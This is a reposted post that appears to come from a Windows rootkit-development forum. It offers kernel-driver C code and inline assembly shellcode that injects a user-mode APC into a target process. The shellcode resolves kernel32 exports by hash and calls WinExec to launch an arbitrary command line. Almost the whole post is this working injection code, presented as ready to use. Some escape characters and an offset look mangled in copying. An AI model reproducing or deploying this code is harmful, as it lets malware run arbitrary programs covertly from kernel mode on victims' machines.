CreateProcess in KernelMode!

Showtime : *WORKING* CreateProcess in KernelMode!
 
 By: valerino
I don't think this code needs any comment. 
Say welcome to usermode calls in kernel land..... with this technique you can even call MessageBox from inside your driver. 
No more ugly non-working phrack samples, this is the real stuff :) 

1) The APC injector

 //************************************************************************

// NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PKPROCESS pTargetProcess)

//

// Setup usermode APC to execute a process                                                                     

//************************************************************************/

NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)

{

    PRKAPC pApc = NULL;

    PMDL pMdl = NULL;

    PVOID MappedAddress = NULL;

 

    ULONG size;

    KAPC_STATE ApcState;

    PKEVENT pEvent = NULL;

 

    // check params

    if (!pTargetThread || !pTargetProcess)

        return STATUS_UNSUCCESSFUL;

 

    // allocate memory for apc and event

    pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));

    if (!pApc)

        return STATUS_INSUFFICIENT_RESOURCES;

 

    pEvent = ExAllocatePool (NonPagedPool,sizeof (KEVENT));

    if (!pEvent)

    {

        ExFreePool (pApc);

        return STATUS_INSUFFICIENT_RESOURCES;

    }

 

    // allocate mdl big enough to map the code to be executed

    size = (unsigned char*)UtilUserApcCreateProcessEnd - (unsigned char*)UtilUserApcCreateProcess;

    pMdl = IoAllocateMdl (UtilUserApcCreateProcess, size, FALSE,FALSE,NULL);

    if (!pMdl)

    {

        ExFreePool (pEvent);

        ExFreePool (pApc);

        return STATUS_INSUFFICIENT_RESOURCES;

    }

 

    // lock the pages in memory

    __try

    {

        MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);

    }

    __except (EXCEPTION_EXECUTE_HANDLER)

    {

        IoFreeMdl (pMdl);

        ExFreePool (pEvent);

        ExFreePool (pApc);

        return STATUS_UNSUCCESSFUL;

    }

 

    // map the pages into the specified process

    KeStackAttachProcess (pTargetProcess,&ApcState);

    MappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);

 

    if (!MappedAddress)

    {

        // cannot map address

        KeUnstackDetachProcess (&ApcState);

        IoFreeMdl (pMdl);

        ExFreePool (pEvent);

        ExFreePool (pApc);

        return STATUS_UNSUCCESSFUL;

    }

 

    // copy commandline

    memset ((unsigned char*)MappedAddress + 160, 0, 260);

    memcpy ((unsigned char*)MappedAddress + 160, CommandLine,strlen (CommandLine));

 

    KeUnstackDetachProcess (&ApcState);

 

    // initialize apc

    KeInitializeEvent(pEvent,NotificationEvent,FALSE);

    KeInitializeApc(pApc,pTargetThread, OriginalApcEnvironment,&UtilUserApcCreateProcessKernelRoutine,

        NULL, MappedAddress, UserMode, (PVOID) NULL);

 

    // schedule apc

    if (!KeInsertQueueApc(pApc,pEvent,NULL,0))

    {

        // failed apc delivery

        MmUnlockPages(pMdl);

        IoFreeMdl (pMdl);

        ExFreePool (pEvent);

        ExFreePool (pApc);

        return STATUS_UNSUCCESSFUL;

    }

    

    // and fire it by manually alerting the thread (for reference, this set the KTHREAD.ApcState.KernelApcInProgress)

    // beware, this could be not compatible with everything ..... it works on 2k/XP anyway, tested on SP2 too.....

    *((unsigned char *)pTargetThread+0x 4a )=1;

 

    // apc is fired, wait event to signal completion

    KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);

 

    // free event

    ExFreePool (pEvent);

 

    // unmap and unlock pages / mdl . Note that there's no need to call MmUnmapLockedPages on paged locked with MmProbeAndLockPages,

    // since MmUnlockPages does this for us automatically.

    MmUnlockPages(pMdl);

    IoFreeMdl (pMdl);

 

    return STATUS_SUCCESS;

}

 

 2) This routine just frees the APC allocated memory as soon as it's fired

//************************************************************************

// VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC * Apc , IN OUT PKNORMAL_ROUTINE *NormalRoutine,

// IN OUT PVOID * NormalContext , IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )

//

// This routine just frees the APC                                                                     

//************************************************************************/

VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC * Apc , IN OUT PKNORMAL_ROUTINE *NormalRoutine,

    IN OUT PVOID * NormalContext , IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )

{

    PKEVENT pEvent;

 

    KDebugPrint (1,("%s APC KernelRoutine called, freeing APC./n", MODULE));

 

    // free apc

    ExFreePool(Apc);

 

    // set event to signal apc execution

    pEvent = (PKEVENT)*SystemArgument1;

    KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE);

}


 3) This is the usermode routine launched by the APC. It gets Kernel32 base and find imports by a hash, then calls winexec (simpler
   than call createprocess, but anyway this is just an example....).

   Use this NASM macro to calculate the needed hashes for whatever usermode functions you may need to call :
      
      ;
      ; HASH - NASM macro for calculating win32 symbol hashes
      ; Usage: HASH instruction, 'SymbolName'
      ;
      %macro HASH 2
          %assign i 1            ; i = 1
          %assign h 0            ; h = 0
          %strlen len %2            ; len = strlen(%2)
          %rep len
              %substr char %2 i    ; fetch next character
              %assign h /
                  (h<<0x13) + /
                  (h>>0x0d) + /
                  char        ; rotate and add
              %assign i i+1        ; increment i
          %endrep
          %1 h                ; return instruction with hash
      %endmacro

   I can't remember where i got this shellcode, it was lying already modified on my hd for long time. Anyway it's not mine....
   i just rearranged it to my needs. Whoever recognizes it as his code, email me at [email protected] and i'll put the proper credits :)

//************************************************************************

// void UtilUserApcCreateProcess(PVOID NormalContext, PVOID  SystemArgument1, PVOID SystemArgument2)

//

// This is where we call createprocess. We're in usermode here :)                                                                     

//************************************************************************/

__declspec(naked) void UtilUserApcCreateProcess(PVOID NormalContext, PVOID  SystemArgument1, PVOID SystemArgument2)

{

    __asm 

    {

        push ebp

        mov     ebp,esp

        push ebx

        push esi

        push edi

        jmp  __startup;                   ; these are just functions.... skip    

 

__find_kernel32:

        push  esi                         ; Save esi

        push  0x30

        pop   ecx

        mov   eax, fs:[ecx]               ; Extract the PEB

        mov   eax, [eax + 0x0c]           ; Extract the PROCESS_MODULE_INFO pointer from the PEB

        mov   esi, [eax + 0x1c]           ; Get the address of flink in the init module list

        lodsd                             ; Load the address of blink into eax

        mov   eax, [eax + 0x8]            ; Grab the module base address from the list entry

        pop   esi                         ; Restore esi

        ret                               ; Return

 

__find_function:

        pushad                            ; Save all registers

        mov   ebp, [esp + 0x24]           ; Store the base address in eax

        mov   eax, [ebp + 0x3c]           ; PE header VMA

        mov   edx, [ebp + eax + 0x78]     ; Export table relative offset

        add   edx, ebp                    ; Export table VMA

        mov   ecx, [edx + 0x18]           ; Number of names

        mov   ebx, [edx + 0x20]           ; Names table relative offset

        add   ebx, ebp                    ; Names table VMA

 

__find_function_loop:

        jecxz __find_function_finished    ; Jump to the end if ecx is 0

        dec   ecx                         ; Decrement our names counter

        mov   esi, [ebx + ecx * 4]        ; Store the relative offset of the name

        add   esi, ebp                    ; Set esi to the VMA of the current name

 

        xor   edi, edi                    ; Zero edi

        xor   eax, eax                    ; Zero eax

        cld                               ; Clear direction

 

__compute_hash_again:

        lodsb                             ; Load the next byte from esi into al

        test  al, al                      ; Test ourselves.

        jz    __compute_hash_finished     ; If the ZF is set, we've hit the null term.

        ror   edi, 0xd                    ; Rotate edi 13 bits to the right

        add   edi, eax                    ; Add the new byte to the accumulator

        jmp   __compute_hash_again        ; Next iteration

 

__compute_hash_finished:         

        cmp   edi, [esp + 0x28]           ; Compare the computed hash with the requested hash

        jnz   __find_function_loop        ; No match, try the next one.

        mov   ebx, [edx + 0x24]           ; Ordinals table relative offset

        add   ebx, ebp                    ; Ordinals table VMA

        mov   cx, [ebx + 2 * ecx]         ; Extrapolate the function's ordinal

        mov   ebx, [edx + 0x1c]           ; Address table relative offset

        add   ebx, ebp                    ; Address table VMA

        mov   eax, [ebx + 4 * ecx]        ; Extract the relative function offset from its ordinal

        add   eax, ebp                    ; Function VMA

        mov   [esp + 0x1c], eax           ; Overwrite stack version of eax from pushad

 

__find_function_finished:

        popad                             ; Restore all registers

        ret 8

 

__begin:

        nop

        pop edi                        ; Pop address

        mov ebx, __execute

        sub ebx, __command_line

        sub edi, ebx                ; filename offset

        mov esi,edi                 ; filename to edi

        call __find_kernel32        ; Find kernel32 address

        mov ebx, eax                ; Save address in ebx

        jmp short __execute         ; Skip data

 

__startup:

        call __begin                ; Fetch our data address

 

 

__execute:

        push 0x0e8afe98             ; WinExec hash

        push ebx                   ; kernel32 base address

        call __find_function        ; find address

 

        xor ecx,ecx

        inc ecx                 ; ecx = 1

        push ecx                ; uCmdShow

        push esi                ; lpCmdLine. We already have the exe path in esi

        call eax                ; call WinExec 

        jmp __end

 

__command_line:                    ; Space (~300 bytes) for commandline

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

        nop

__end:

        pop edi        ; restore registers

        pop esi

        pop ebx

        pop ebp

        ret 0x0c

    }

}

 

//************************************************************************

// void UtilUserApcCreateProcessEnd()

//

// This is just a reference to calculate size of the above usermode apc routine                                                                     

//************************************************************************/

void UtilUserApcCreateProcessEnd()

{

    

}

 

你可能感兴趣的:(CreateProcess in KernelMode!)